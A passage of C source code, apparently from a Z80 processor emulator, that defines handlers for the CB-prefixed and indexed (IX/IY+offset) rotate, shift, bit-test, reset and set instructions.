OP(cb,14) { H = RL(H); } /* RL H */
OP(cb,15) { L = RL(L); } /* RL L */
OP(cb,16) { WM( HL, RL(RM(HL)) ); } /* RL (HL) */
OP(cb,17) { A = RL(A); } /* RL A */
OP(cb,18) { B = RR(B); } /* RR B */
OP(cb,19) { C = RR(C); } /* RR C */
OP(cb,1a) { D = RR(D); } /* RR D */
OP(cb,1b) { E = RR(E); } /* RR E */
OP(cb,1c) { H = RR(H); } /* RR H */
OP(cb,1d) { L = RR(L); } /* RR L */
OP(cb,1e) { WM( HL, RR(RM(HL)) ); } /* RR (HL) */
OP(cb,1f) { A = RR(A); } /* RR A */
OP(cb,20) { B = SLA(B); } /* SLA B */
OP(cb,21) { C = SLA(C); } /* SLA C */
OP(cb,22) { D = SLA(D); } /* SLA D */
OP(cb,23) { E = SLA(E); } /* SLA E */
OP(cb,24) { H = SLA(H); } /* SLA H */
OP(cb,25) { L = SLA(L); } /* SLA L */
OP(cb,26) { WM( HL, SLA(RM(HL)) ); } /* SLA (HL) */
OP(cb,27) { A = SLA(A); } /* SLA A */
OP(cb,28) { B = SRA(B); } /* SRA B */
OP(cb,29) { C = SRA(C); } /* SRA C */
OP(cb,2a) { D = SRA(D); } /* SRA D */
OP(cb,2b) { E = SRA(E); } /* SRA E */
OP(cb,2c) { H = SRA(H); } /* SRA H */
OP(cb,2d) { L = SRA(L); } /* SRA L */
OP(cb,2e) { WM( HL, SRA(RM(HL)) ); } /* SRA (HL) */
OP(cb,2f) { A = SRA(A); } /* SRA A */
OP(cb,30) { B = SLL(B); } /* SLL B */
OP(cb,31) { C = SLL(C); } /* SLL C */
OP(cb,32) { D = SLL(D); } /* SLL D */
OP(cb,33) { E = SLL(E); } /* SLL E */
OP(cb,34) { H = SLL(H); } /* SLL H */
OP(cb,35) { L = SLL(L); } /* SLL L */
OP(cb,36) { WM( HL, SLL(RM(HL)) ); } /* SLL (HL) */
OP(cb,37) { A = SLL(A); } /* SLL A */
OP(cb,38) { B = SRL(B); } /* SRL B */
OP(cb,39) { C = SRL(C); } /* SRL C */
OP(cb,3a) { D = SRL(D); } /* SRL D */
OP(cb,3b) { E = SRL(E); } /* SRL E */
OP(cb,3c) { H = SRL(H); } /* SRL H */
OP(cb,3d) { L = SRL(L); } /* SRL L */
OP(cb,3e) { WM( HL, SRL(RM(HL)) ); } /* SRL (HL) */
OP(cb,3f) { A = SRL(A); } /* SRL A */
OP(cb,40) { BIT(0,B); } /* BIT 0,B */
OP(cb,41) { BIT(0,C); } /* BIT 0,C */
OP(cb,42) { BIT(0,D); } /* BIT 0,D */
OP(cb,43) { BIT(0,E); } /* BIT 0,E */
OP(cb,44) { BIT(0,H); } /* BIT 0,H */
OP(cb,45) { BIT(0,L); } /* BIT 0,L */
OP(cb,46) { BIT_HL(0,RM(HL)); } /* BIT 0,(HL) */
OP(cb,47) { BIT(0,A); } /* BIT 0,A */
OP(cb,48) { BIT(1,B); } /* BIT 1,B */
OP(cb,49) { BIT(1,C); } /* BIT 1,C */
OP(cb,4a) { BIT(1,D); } /* BIT 1,D */
OP(cb,4b) { BIT(1,E); } /* BIT 1,E */
OP(cb,4c) { BIT(1,H); } /* BIT 1,H */
OP(cb,4d) { BIT(1,L); } /* BIT 1,L */
OP(cb,4e) { BIT_HL(1,RM(HL)); } /* BIT 1,(HL) */
OP(cb,4f) { BIT(1,A); } /* BIT 1,A */
OP(cb,50) { BIT(2,B); } /* BIT 2,B */
OP(cb,51) { BIT(2,C); } /* BIT 2,C */
OP(cb,52) { BIT(2,D); } /* BIT 2,D */
OP(cb,53) { BIT(2,E); } /* BIT 2,E */
OP(cb,54) { BIT(2,H); } /* BIT 2,H */
OP(cb,55) { BIT(2,L); } /* BIT 2,L */
OP(cb,56) { BIT_HL(2,RM(HL)); } /* BIT 2,(HL) */
OP(cb,57) { BIT(2,A); } /* BIT 2,A */
OP(cb,58) { BIT(3,B); } /* BIT 3,B */
OP(cb,59) { BIT(3,C); } /* BIT 3,C */
OP(cb,5a) { BIT(3,D); } /* BIT 3,D */
OP(cb,5b) { BIT(3,E); } /* BIT 3,E */
OP(cb,5c) { BIT(3,H); } /* BIT 3,H */
OP(cb,5d) { BIT(3,L); } /* BIT 3,L */
OP(cb,5e) { BIT_HL(3,RM(HL)); } /* BIT 3,(HL) */
OP(cb,5f) { BIT(3,A); } /* BIT 3,A */
OP(cb,60) { BIT(4,B); } /* BIT 4,B */
OP(cb,61) { BIT(4,C); } /* BIT 4,C */
OP(cb,62) { BIT(4,D); } /* BIT 4,D */
OP(cb,63) { BIT(4,E); } /* BIT 4,E */
OP(cb,64) { BIT(4,H); } /* BIT 4,H */
OP(cb,65) { BIT(4,L); } /* BIT 4,L */
OP(cb,66) { BIT_HL(4,RM(HL)); } /* BIT 4,(HL) */
OP(cb,67) { BIT(4,A); } /* BIT 4,A */
OP(cb,68) { BIT(5,B); } /* BIT 5,B */
OP(cb,69) { BIT(5,C); } /* BIT 5,C */
OP(cb,6a) { BIT(5,D); } /* BIT 5,D */
OP(cb,6b) { BIT(5,E); } /* BIT 5,E */
OP(cb,6c) { BIT(5,H); } /* BIT 5,H */
OP(cb,6d) { BIT(5,L); } /* BIT 5,L */
OP(cb,6e) { BIT_HL(5,RM(HL)); } /* BIT 5,(HL) */
OP(cb,6f) { BIT(5,A); } /* BIT 5,A */
OP(cb,70) { BIT(6,B); } /* BIT 6,B */
OP(cb,71) { BIT(6,C); } /* BIT 6,C */
OP(cb,72) { BIT(6,D); } /* BIT 6,D */
OP(cb,73) { BIT(6,E); } /* BIT 6,E */
OP(cb,74) { BIT(6,H); } /* BIT 6,H */
OP(cb,75) { BIT(6,L); } /* BIT 6,L */
OP(cb,76) { BIT_HL(6,RM(HL)); } /* BIT 6,(HL) */
OP(cb,77) { BIT(6,A); } /* BIT 6,A */
OP(cb,78) { BIT(7,B); } /* BIT 7,B */
OP(cb,79) { BIT(7,C); } /* BIT 7,C */
OP(cb,7a) { BIT(7,D); } /* BIT 7,D */
OP(cb,7b) { BIT(7,E); } /* BIT 7,E */
OP(cb,7c) { BIT(7,H); } /* BIT 7,H */
OP(cb,7d) { BIT(7,L); } /* BIT 7,L */
OP(cb,7e) { BIT_HL(7,RM(HL)); } /* BIT 7,(HL) */
OP(cb,7f) { BIT(7,A); } /* BIT 7,A */
OP(cb,80) { B = RES(0,B); } /* RES 0,B */
OP(cb,81) { C = RES(0,C); } /* RES 0,C */
OP(cb,82) { D = RES(0,D); } /* RES 0,D */
OP(cb,83) { E = RES(0,E); } /* RES 0,E */
OP(cb,84) { H = RES(0,H); } /* RES 0,H */
OP(cb,85) { L = RES(0,L); } /* RES 0,L */
OP(cb,86) { WM( HL, RES(0,RM(HL)) ); } /* RES 0,(HL) */
OP(cb,87) { A = RES(0,A); } /* RES 0,A */
OP(cb,88) { B = RES(1,B); } /* RES 1,B */
OP(cb,89) { C = RES(1,C); } /* RES 1,C */
OP(cb,8a) { D = RES(1,D); } /* RES 1,D */
OP(cb,8b) { E = RES(1,E); } /* RES 1,E */
OP(cb,8c) { H = RES(1,H); } /* RES 1,H */
OP(cb,8d) { L = RES(1,L); } /* RES 1,L */
OP(cb,8e) { WM( HL, RES(1,RM(HL)) ); } /* RES 1,(HL) */
OP(cb,8f) { A = RES(1,A); } /* RES 1,A */
OP(cb,90) { B = RES(2,B); } /* RES 2,B */
OP(cb,91) { C = RES(2,C); } /* RES 2,C */
OP(cb,92) { D = RES(2,D); } /* RES 2,D */
OP(cb,93) { E = RES(2,E); } /* RES 2,E */
OP(cb,94) { H = RES(2,H); } /* RES 2,H */
OP(cb,95) { L = RES(2,L); } /* RES 2,L */
OP(cb,96) { WM( HL, RES(2,RM(HL)) ); } /* RES 2,(HL) */
OP(cb,97) { A = RES(2,A); } /* RES 2,A */
OP(cb,98) { B = RES(3,B); } /* RES 3,B */
OP(cb,99) { C = RES(3,C); } /* RES 3,C */
OP(cb,9a) { D = RES(3,D); } /* RES 3,D */
OP(cb,9b) { E = RES(3,E); } /* RES 3,E */
OP(cb,9c) { H = RES(3,H); } /* RES 3,H */
OP(cb,9d) { L = RES(3,L); } /* RES 3,L */
OP(cb,9e) { WM( HL, RES(3,RM(HL)) ); } /* RES 3,(HL) */
OP(cb,9f) { A = RES(3,A); } /* RES 3,A */
OP(cb,a0) { B = RES(4,B); } /* RES 4,B */
OP(cb,a1) { C = RES(4,C); } /* RES 4,C */
OP(cb,a2) { D = RES(4,D); } /* RES 4,D */
OP(cb,a3) { E = RES(4,E); } /* RES 4,E */
OP(cb,a4) { H = RES(4,H); } /* RES 4,H */
OP(cb,a5) { L = RES(4,L); } /* RES 4,L */
OP(cb,a6) { WM( HL, RES(4,RM(HL)) ); } /* RES 4,(HL) */
OP(cb,a7) { A = RES(4,A); } /* RES 4,A */
OP(cb,a8) { B = RES(5,B); } /* RES 5,B */
OP(cb,a9) { C = RES(5,C); } /* RES 5,C */
OP(cb,aa) { D = RES(5,D); } /* RES 5,D */
OP(cb,ab) { E = RES(5,E); } /* RES 5,E */
OP(cb,ac) { H = RES(5,H); } /* RES 5,H */
OP(cb,ad) { L = RES(5,L); } /* RES 5,L */
OP(cb,ae) { WM( HL, RES(5,RM(HL)) ); } /* RES 5,(HL) */
OP(cb,af) { A = RES(5,A); } /* RES 5,A */
OP(cb,b0) { B = RES(6,B); } /* RES 6,B */
OP(cb,b1) { C = RES(6,C); } /* RES 6,C */
OP(cb,b2) { D = RES(6,D); } /* RES 6,D */
OP(cb,b3) { E = RES(6,E); } /* RES 6,E */
OP(cb,b4) { H = RES(6,H); } /* RES 6,H */
OP(cb,b5) { L = RES(6,L); } /* RES 6,L */
OP(cb,b6) { WM( HL, RES(6,RM(HL)) ); } /* RES 6,(HL) */
OP(cb,b7) { A = RES(6,A); } /* RES 6,A */
OP(cb,b8) { B = RES(7,B); } /* RES 7,B */
OP(cb,b9) { C = RES(7,C); } /* RES 7,C */
OP(cb,ba) { D = RES(7,D); } /* RES 7,D */
OP(cb,bb) { E = RES(7,E); } /* RES 7,E */
OP(cb,bc) { H = RES(7,H); } /* RES 7,H */
OP(cb,bd) { L = RES(7,L); } /* RES 7,L */
OP(cb,be) { WM( HL, RES(7,RM(HL)) ); } /* RES 7,(HL) */
OP(cb,bf) { A = RES(7,A); } /* RES 7,A */
OP(cb,c0) { B = SET(0,B); } /* SET 0,B */
OP(cb,c1) { C = SET(0,C); } /* SET 0,C */
OP(cb,c2) { D = SET(0,D); } /* SET 0,D */
OP(cb,c3) { E = SET(0,E); } /* SET 0,E */
OP(cb,c4) { H = SET(0,H); } /* SET 0,H */
OP(cb,c5) { L = SET(0,L); } /* SET 0,L */
OP(cb,c6) { WM( HL, SET(0,RM(HL)) ); } /* SET 0,(HL) */
OP(cb,c7) { A = SET(0,A); } /* SET 0,A */
OP(cb,c8) { B = SET(1,B); } /* SET 1,B */
OP(cb,c9) { C = SET(1,C); } /* SET 1,C */
OP(cb,ca) { D = SET(1,D); } /* SET 1,D */
OP(cb,cb) { E = SET(1,E); } /* SET 1,E */
OP(cb,cc) { H = SET(1,H); } /* SET 1,H */
OP(cb,cd) { L = SET(1,L); } /* SET 1,L */
OP(cb,ce) { WM( HL, SET(1,RM(HL)) ); } /* SET 1,(HL) */
OP(cb,cf) { A = SET(1,A); } /* SET 1,A */
OP(cb,d0) { B = SET(2,B); } /* SET 2,B */
OP(cb,d1) { C = SET(2,C); } /* SET 2,C */
OP(cb,d2) { D = SET(2,D); } /* SET 2,D */
OP(cb,d3) { E = SET(2,E); } /* SET 2,E */
OP(cb,d4) { H = SET(2,H); } /* SET 2,H */
OP(cb,d5) { L = SET(2,L); } /* SET 2,L */
OP(cb,d6) { WM( HL, SET(2,RM(HL)) ); } /* SET 2,(HL) */
OP(cb,d7) { A = SET(2,A); } /* SET 2,A */
OP(cb,d8) { B = SET(3,B); } /* SET 3,B */
OP(cb,d9) { C = SET(3,C); } /* SET 3,C */
OP(cb,da) { D = SET(3,D); } /* SET 3,D */
OP(cb,db) { E = SET(3,E); } /* SET 3,E */
OP(cb,dc) { H = SET(3,H); } /* SET 3,H */
OP(cb,dd) { L = SET(3,L); } /* SET 3,L */
OP(cb,de) { WM( HL, SET(3,RM(HL)) ); } /* SET 3,(HL) */
OP(cb,df) { A = SET(3,A); } /* SET 3,A */
OP(cb,e0) { B = SET(4,B); } /* SET 4,B */
OP(cb,e1) { C = SET(4,C); } /* SET 4,C */
OP(cb,e2) { D = SET(4,D); } /* SET 4,D */
OP(cb,e3) { E = SET(4,E); } /* SET 4,E */
OP(cb,e4) { H = SET(4,H); } /* SET 4,H */
OP(cb,e5) { L = SET(4,L); } /* SET 4,L */
OP(cb,e6) { WM( HL, SET(4,RM(HL)) ); } /* SET 4,(HL) */
OP(cb,e7) { A = SET(4,A); } /* SET 4,A */
OP(cb,e8) { B = SET(5,B); } /* SET 5,B */
OP(cb,e9) { C = SET(5,C); } /* SET 5,C */
OP(cb,ea) { D = SET(5,D); } /* SET 5,D */
OP(cb,eb) { E = SET(5,E); } /* SET 5,E */
OP(cb,ec) { H = SET(5,H); } /* SET 5,H */
OP(cb,ed) { L = SET(5,L); } /* SET 5,L */
OP(cb,ee) { WM( HL, SET(5,RM(HL)) ); } /* SET 5,(HL) */
OP(cb,ef) { A = SET(5,A); } /* SET 5,A */
OP(cb,f0) { B = SET(6,B); } /* SET 6,B */
OP(cb,f1) { C = SET(6,C); } /* SET 6,C */
OP(cb,f2) { D = SET(6,D); } /* SET 6,D */
OP(cb,f3) { E = SET(6,E); } /* SET 6,E */
OP(cb,f4) { H = SET(6,H); } /* SET 6,H */
OP(cb,f5) { L = SET(6,L); } /* SET 6,L */
OP(cb,f6) { WM( HL, SET(6,RM(HL)) ); } /* SET 6,(HL) */
OP(cb,f7) { A = SET(6,A); } /* SET 6,A */
OP(cb,f8) { B = SET(7,B); } /* SET 7,B */
OP(cb,f9) { C = SET(7,C); } /* SET 7,C */
OP(cb,fa) { D = SET(7,D); } /* SET 7,D */
OP(cb,fb) { E = SET(7,E); } /* SET 7,E */
OP(cb,fc) { H = SET(7,H); } /* SET 7,H */
OP(cb,fd) { L = SET(7,L); } /* SET 7,L */
OP(cb,fe) { WM( HL, SET(7,RM(HL)) ); } /* SET 7,(HL) */
OP(cb,ff) { A = SET(7,A); } /* SET 7,A */
/**********************************************************
* opcodes with DD/FD CB prefix
* rotate, shift and bit operations with (IX+o)
**********************************************************/
OP(xycb,00) { B = RLC( RM(EA) ); WM( EA,B ); } /* RLC B=(XY+o) */
OP(xycb,01) { C = RLC( RM(EA) ); WM( EA,C ); } /* RLC C=(XY+o) */
OP(xycb,02) { D = RLC( RM(EA) ); WM( EA,D ); } /* RLC D=(XY+o) */
OP(xycb,03) { E = RLC( RM(EA) ); WM( EA,E ); } /* RLC E=(XY+o) */
OP(xycb,04) { H = RLC( RM(EA) ); WM( EA,H ); } /* RLC H=(XY+o) */
OP(xycb,05) { L = RLC( RM(EA) ); WM( EA,L ); } /* RLC L=(XY+o) */
OP(xycb,06) { WM( EA, RLC( RM(EA) ) ); } /* RLC (XY+o) */
OP(xycb,07) { A = RLC( RM(EA) ); WM( EA,A ); } /* RLC A=(XY+o) */
OP(xycb,08) { B = RRC( RM(EA) ); WM( EA,B ); } /* RRC B=(XY+o) */
OP(xycb,09) { C = RRC( RM(EA) ); WM( EA,C ); } /* RRC C=(XY+o) */
OP(xycb,0a) { D = RRC( RM(EA) ); WM( EA,D ); } /* RRC D=(XY+o) */
OP(xycb,0b) { E = RRC( RM(EA) ); WM( EA,E ); } /* RRC E=(XY+o) */
OP(xycb,0c) { H = RRC( RM(EA) ); WM( EA,H ); } /* RRC H=(XY+o) */
OP(xycb,0d) { L = RRC( RM(EA) ); WM( EA,L ); } /* RRC L=(XY+o) */
OP(xycb,0e) { WM( EA,RRC( RM(EA) ) ); } /* RRC (XY+o) */
OP(xycb,0f) { A = RRC( RM(EA) ); WM( EA,A ); } /* RRC A=(XY+o) */
OP(xycb,10) { B = RL( RM(EA) ); WM( EA,B ); } /* RL B=(XY+o) */
OP(xycb,11) { C = RL( RM(EA) ); WM( EA,C ); } /* RL C=(XY+o) */
OP(xycb,12) { D = RL( RM(EA) ); WM( EA,D ); } /* RL D=(XY+o) */
OP(xycb,13) { E = RL( RM(EA) ); WM( EA,E ); } /* RL E=(XY+o) */
OP(xycb,14) { H = RL( RM(EA) ); WM( EA,H ); } /* RL H=(XY+o) */
OP(xycb,15) { L = RL( RM(EA) ); WM( EA,L ); } /* RL L=(XY+o) */
OP(xycb,16) { WM( EA,RL( RM(EA) ) ); } /* RL (XY+o) */
OP(xycb,17) { A = RL( RM(EA) ); WM( EA,A ); } /* RL A=(XY+o) */
OP(xycb,18) { B = RR( RM(EA) ); WM( EA,B ); } /* RR B=(XY+o) */
OP(xycb,19) { C = RR( RM(EA) ); WM( EA,C ); } /* RR C=(XY+o) */
OP(xycb,1a) { D = RR( RM(EA) ); WM( EA,D ); } /* RR D=(XY+o) */
OP(xycb,1b) { E = RR( RM(EA) ); WM( EA,E ); } /* RR E=(XY+o) */
OP(xycb,1c) { H = RR( RM(EA) ); WM( EA,H ); } /* RR H=(XY+o) */
OP(xycb,1d) { L = RR( RM(EA) ); WM( EA,L ); } /* RR L=(XY+o) */
OP(xycb,1e) { WM( EA,RR( RM(EA) ) ); } /* RR (XY+o) */
OP(xycb,1f) { A = RR( RM(EA) ); WM( EA,A ); } /* RR A=(XY+o) */
OP(xycb,20) { B = SLA( RM(EA) ); WM( EA,B ); } /* SLA B=(XY+o) */
OP(xycb,21) { C = SLA( RM(EA) ); WM( EA,C ); } /* SLA C=(XY+o) */
OP(xycb,22) { D = SLA( RM(EA) ); WM( EA,D ); } /* SLA D=(XY+o) */
OP(xycb,23) { E = SLA( RM(EA) ); WM( EA,E ); } /* SLA E=(XY+o) */
OP(xycb,24) { H = SLA( RM(EA) ); WM( EA,H ); } /* SLA H=(XY+o) */
OP(xycb,25) { L = SLA( RM(EA) ); WM( EA,L ); } /* SLA L=(XY+o) */
OP(xycb,26) { WM( EA,SLA( RM(EA) ) ); } /* SLA (XY+o) */
OP(xycb,27) { A = SLA( RM(EA) ); WM( EA,A ); } /* SLA A=(XY+o) */
OP(xycb,28) { B = SRA( RM(EA) ); WM( EA,B ); } /* SRA B=(XY+o) */
OP(xycb,29) { C = SRA( RM(EA) ); WM( EA,C ); } /* SRA C=(XY+o) */
OP(xycb,2a) { D = SRA( RM(EA) ); WM( EA,D ); } /* SRA D=(XY+o) */
OP(xycb,2b) { E = SRA( RM(EA) ); WM( EA,E ); } /* SRA E=(XY+o) */
OP(xycb,2c) { H = SRA( RM(EA) ); WM( EA,H ); } /* SRA H=(XY+o) */
OP(xycb,2d) { L = SRA( RM(EA) ); WM( EA,L ); } /* SRA L=(XY+o) */
OP(xycb,2e) { WM( EA,SRA( RM(EA) ) ); } /* SRA (XY+o) */
OP(xycb,2f) { A = SRA( RM(EA) ); WM( EA,A ); } /* SRA A=(XY+o) */
OP(xycb,30) { B = SLL( RM(EA) ); WM( EA,B ); } /* SLL B=(XY+o) */
OP(xycb,31) { C = SLL( RM(EA) ); WM( EA,C ); } /* SLL C=(XY+o) */
OP(xycb,32) { D = SLL( RM(EA) ); WM( EA,D ); } /* SLL D=(XY+o) */
OP(xycb,33) { E = SLL( RM(EA) ); WM( EA,E ); } /* SLL E=(XY+o) */
OP(xycb,34) { H = SLL( RM(EA) ); WM( EA,H ); } /* SLL H=(XY+o) */
OP(xycb,35) { L = SLL( RM(EA) ); WM( EA,L ); } /* SLL L=(XY+o) */
OP(xycb,36) { WM( EA,SLL( RM(EA) ) ); } /* SLL (XY+o) */
OP(xycb,37) { A = SLL( RM(EA) ); WM( EA,A ); } /* SLL A=(XY+o) */
OP(xycb,38) { B = SRL( RM(EA) ); WM( EA,B ); } /* SRL B=(XY+o) */
OP(xycb,39) { C = SRL( RM(EA) ); WM( EA,C ); } /* SRL C=(XY+o) */
OP(xycb,3a) { D = SRL( RM(EA) ); WM( EA,D ); } /* SRL D=(XY+o) */
OP(xycb,3b) { E = SRL( RM(EA) ); WM( EA,E ); } /* SRL E=(XY+o) */
OP(xycb,3c) { H = SRL( RM(EA) ); WM( EA,H ); } /* SRL H=(XY+o) */
OP(xycb,3d) { L = SRL( RM(EA) ); WM( EA,L ); } /* SRL L=(XY+o) */
OP(xycb,3e) { WM( EA,SRL( RM(EA) ) ); } /* SRL (XY+o) */
OP(xycb,3f) { A = SRL( RM(EA) ); WM( EA,A ); } /* SRL A=(XY+o) */
OP(xycb,40) { xycb_46(); } /* BIT 0,(XY+o) */
OP(xycb,41) { xycb_46(); } /* BIT 0,(XY+o) */
OP(xycb,42) { xycb_46(); } /* BIT 0,(XY+o) */
OP(xycb,43) { xycb_46(); } /* BIT 0,(XY+o) */
OP(xycb,44) { xycb_46(); } /* BIT 0,(XY+o) */
OP(xycb,45) { xycb_46(); } /* BIT 0,(XY+o) */
OP(xycb,46) { BIT_XY(0,RM(EA)); } /* BIT 0,(XY+o) */
OP(xycb,47) { xycb_46(); } /* BIT 0,(XY+o) */
OP(xycb,48) { xycb_4e(); } /* BIT 1,(XY+o) */
OP(xycb,49) { xycb_4e(); } /* BIT 1,(XY+o) */
OP(xycb,4a) { xycb_4e(); } /* BIT 1,(XY+o) */
OP(xycb,4b) { xycb_4e(); } /* BIT 1,(XY+o) */
OP(xycb,4c) { xycb_4e(); } /* BIT 1,(XY+o) */
OP(xycb,4d) { xycb_4e(); } /* BIT 1,(XY+o) */
OP(xycb,4e) { BIT_XY(1,RM(EA)); } /* BIT 1,(XY+o) */
OP(xycb,4f) { xycb_4e(); } /* BIT 1,(XY+o) */
OP(xycb,50) { xycb_56(); } /* BIT 2,(XY+o) */
OP(xycb,51) { xycb_56(); } /* BIT 2,(XY+o) */
OP(xycb,52) { xycb_56(); } /* BIT 2,(XY+o) */
OP(xycb,53) { xycb_56(); } /* BIT 2,(XY+o) */
OP(xycb,54) { xycb_56(); } /* BIT 2,(XY+o) */
OP(xycb,55) { xycb_56(); } /* BIT 2,(XY+o) */
OP(xycb,56) { BIT_XY(2,RM(EA)); } /* BIT 2,(XY+o) */
OP(xycb,57) { xycb_56(); } /* BIT 2,(XY+o) */
OP(xycb,58) { xycb_5e(); } /* BIT 3,(XY+o) */
OP(xycb,59) { xycb_5e(); } /* BIT 3,(XY+o) */
OP(xycb,5a) { xycb_5e(); } /* BIT 3,(XY+o) */
OP(xycb,5b) { xycb_5e(); } /* BIT 3,(XY+o) */
OP(xycb,5c) { xycb_5e(); } /* BIT 3,(XY+o) */
OP(xycb,5d) { xycb_5e(); } /* BIT 3,(XY+o) */
OP(xycb,5e) { BIT_XY(3,RM(EA)); } /* BIT 3,(XY+o) */
OP(xycb,5f) { xycb_5e(); } /* BIT 3,(XY+o) */
OP(xycb,60) { xycb_66(); } /* BIT 4,(XY+o) */
OP(xycb,61) { xycb_66(); } /* BIT 4,(XY+o) */
OP(xycb,62) { xycb_66(); } /* BIT 4,(XY+o) */
OP(xycb,63) { xycb_66(); } /* BIT 4,(XY+o) */
OP(xycb,64) { xycb_66(); } /* BIT 4,(XY+o) */
OP(xycb,65) { xycb_66(); } /* BIT 4,(XY+o) */
OP(xycb,66) { BIT_XY(4,RM(EA)); } /* BIT 4,(XY+o) */
OP(xycb,67) { xycb_66(); } /* BIT 4,(XY+o) */
OP(xycb,68) { xycb_6e(); } /* BIT 5,(XY+o) */
OP(xycb,69) { xycb_6e(); } /* BIT 5,(XY+o) */
OP(xycb,6a) { xycb_6e(); } /* BIT 5,(XY+o) */
OP(xycb,6b) { xycb_6e(); } /* BIT 5,(XY+o) */
OP(xycb,6c) { xycb_6e(); } /* BIT 5,(XY+o) */
OP(xycb,6d) { xycb_6e(); } /* BIT 5,(XY+o) */
OP(xycb,6e) { BIT_XY(5,RM(EA)); } /* BIT 5,(XY+o) */
OP(xycb,6f) { xycb_6e(); } /* BIT 5,(XY+o) */
OP(xycb,70) { xycb_76(); } /* BIT 6,(XY+o) */
OP(xycb,71) { xycb_76(); } /* BIT 6,(XY+o) */
OP(xycb,72) { xycb_76(); } /* BIT 6,(XY+o) */
OP(xycb,73) { xycb_76(); } /* BIT 6,(XY+o) */
OP(xycb,74) { xycb_76(); } /* BIT 6,(XY+o) */
OP(xycb,75) { xycb_76(); } /* BIT 6,(XY+o) */
OP(xycb,76) { BIT_XY(6,RM(EA)); } /* BIT 6,(XY+o) */
OP(xycb,77) { xycb_76(); } /* BIT 6,(XY+o) */
OP(xycb,78) { xycb_7e(); } /* BIT 7,(XY+o) */
OP(xycb,79) { xycb_7e(); } /* BIT 7,(XY+o) */
OP(xycb,7a) { xycb_7e(); } /* BIT 7,(XY+o) */
OP(xycb,7b) { xycb_7e(); } /* BIT 7,(XY+o) */
OP(xycb,7c) { xycb_7e(); } /* BIT 7,(XY+o) */
OP(xycb,7d) { xycb_7e(); } /* BIT 7,(XY+o) */
OP(xycb,7e) { BIT_XY(7,RM(EA)); } /* BIT 7,(XY+o) */
OP(xycb,7f) { xycb_7e(); } /* BIT 7,(XY+o) */
OP(xycb,80) { B = RES(0, RM(EA) ); WM( EA,B ); } /* RES 0,B=(XY+o) */
OP(xycb,81) { C = RES(0, RM(EA) ); WM( EA,C ); } /* RES 0,C=(XY+o) */
OP(xycb,82) { D = RES(0, RM(EA) ); WM( EA,D ); } /* RES 0,D=(XY+o) */
OP(xycb,83) { E = RES(0, RM(EA) ); WM( EA,E ); } /* RES 0,E=(XY+o) */
OP(xycb,84) { H = RES(0, RM(EA) ); WM( EA,H ); } /* RES 0,H=(XY+o) */
OP(xycb,85) { L = RES(0, RM(EA) ); WM( EA,L ); } /* RES 0,L=(XY+o) */
OP(xycb,86) { WM( EA, RES(0,RM(EA)) ); } /* RES 0,(XY+o) */
OP(xycb,87) { A = RES(0, RM(EA) ); WM( EA,A ); } /* RES 0,A=(XY+o) */
OP(xycb,88) { B = RES(1, RM(EA) ); WM( EA,B ); } /* RES 1,B=(XY+o) */
OP(xycb,89) { C = RES(1, RM(EA) ); WM( EA,C ); } /* RES 1,C=(XY+o) */
OP(xycb,8a) { D = RES(1, RM(EA) ); WM( EA,D ); } /* RES 1,D=(XY+o) */
OP(xycb,8b) { E = RES(1, RM(EA) ); WM( EA,E ); } /* RES 1,E=(XY+o) */
OP(xycb,8c) { H = RES(1, RM(EA) ); WM( EA,H ); } /* RES 1,H=(XY+o) */
OP(xycb,8d) { L = RES(1, RM(EA) ); WM( EA,L ); } /* RES 1,L=(XY+o) */
OP(xycb,8e) { WM( EA, RES(1,RM(EA)) ); } /* RES 1,(XY+o) */
OP(xycb,8f) { A = RES(1, RM(EA) ); WM( EA,A ); } /* RES 1,A=(XY+o) */
OP(xycb,90) { B = RES(2, RM(EA) ); WM( EA,B ); } /* RES 2,B=(XY+o) */
OP(xycb,91) { C = RES(2, RM(EA) ); WM( EA,C ); } /* RES 2,C=(XY+o) */
OP(xycb,92) { D = RES(2, RM(EA) ); WM( EA,D ); } /* RES 2,D=(XY+o) */
OP(xycb,93) { E = RES(2, RM(EA) ); WM( EA,E ); } /* RES 2,E=(XY+o) */
OP(xycb,94) { H = RES(2, RM(EA) ); WM( EA,H ); } /* RES 2,H=(XY+o) */
OP(xycb,95) { L = RES(2, RM(EA) ); WM( EA,L ); } /* RES 2,L=(XY+o) */
OP(xycb,96) { WM( EA, RES(2,RM(EA)) ); } /* RES 2,(XY+o) */
OP(xycb,97) { A = RES(2, RM(EA) ); WM( EA,A ); } /* RES 2,A=(XY+o) */
OP(xycb,98) { B = RES(3, RM(EA) ); WM( EA,B ); } /* RES 3,B=(XY+o) */
OP(xycb,99) { C = RES(3, RM(EA) ); WM( EA,C ); } /* RES 3,C=(XY+o) */
OP(xycb,9a) { D = RES(3, RM(EA) ); WM( EA,D ); } /* RES 3,D=(XY+o) */
OP(xycb,9b) { E = RES(3, RM(EA) ); WM( EA,E ); } /* RES 3,E=(XY+o) */
OP(xycb,9c) { H = RES(3, RM(EA) ); WM( EA,H ); } /* RES 3,H=(XY+o) */
OP(xycb,9d) { L = RES(3, RM(EA) ); WM( EA,L ); } /* RES 3,L=(XY+o) */
OP(xycb,9e) { WM( EA, RES(3,RM(EA)) ); } /* RES 3,(XY+o) */
OP(xycb,9f) { A = RES(3, RM(EA) ); WM( EA,A ); } /* RES 3,A=(XY+o) */
OP(xycb,a0) { B = RES(4, RM(EA) ); WM( EA,B ); } /* RES 4,B=(XY+o) */
OP(xycb,a1) { C = RES(4, RM(EA) ); WM( EA,C ); } /* RES 4,C=(XY+o) */
OP(xycb,a2) { D = RES(4, RM(EA) ); WM( EA,D ); } /* RES 4,D=(XY+o) */
OP(xycb,a3) { E = RES(4, RM(EA) ); WM( EA,E ); } /* RES 4,E=(XY+o) */
OP(xycb,a4) { H = RES(4, RM(EA) ); WM( EA,H ); } /* RES 4,H=(XY+o) */
OP(xycb,a5) { L = RES(4, RM(EA) ); WM( EA,L ); } /* RES 4,L=(XY+o) */
OP(xycb,a6) { WM( EA, RES(4,RM(EA)) ); } /* RES 4,(XY+o) */
OP(xycb,a7) { A = RES(4, RM(EA) ); WM( EA,A ); } /* RES 4,A=(XY+o) */
OP(xycb,a8) { B = RES(5, RM(EA) ); WM( EA,B ); } /* RES 5,B=(XY+o) */
OP(xycb,a9) { C = RES(5, RM(EA) ); WM( EA,C ); } /* RES 5,C=(XY+o) */
OP(xycb,aa) { D = RES(5, RM(EA) ); WM( EA,D ); } /* RES 5,D=(XY+o) */
OP(xycb,ab) { E = RES(5, RM(EA) ); WM( EA,E ); } /* RES 5,E=(XY+o) */
